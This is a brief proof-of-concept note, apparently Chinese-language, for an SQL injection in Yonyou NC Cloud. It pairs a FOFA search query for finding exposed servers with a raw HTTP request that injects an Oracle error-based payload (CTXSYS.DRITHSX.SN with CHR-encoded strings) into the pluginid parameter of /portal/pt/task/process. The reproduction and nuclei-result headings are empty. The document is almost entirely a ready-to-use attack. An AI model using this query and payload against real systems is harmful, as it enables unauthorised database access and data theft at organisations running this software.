FOFA

body="/Client/Uclient/UClient.exe" || body="nccloud" || app="用友-NC-Cloud"

POC

GET /portal/pt/task/process?pageId=login&id=1&oracle=1&pluginid=1'%20AND%205798=CTXSYS.DRITHSX.SN(5798,((CHR(114)||CHR(48)||CHR(111)||CHR(116)||CHR(104)||CHR(51)||CHR(120)||CHR(52)||CHR(57)||CHR(126))))--%20wXyW HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1

漏洞复现

nuclei运行结果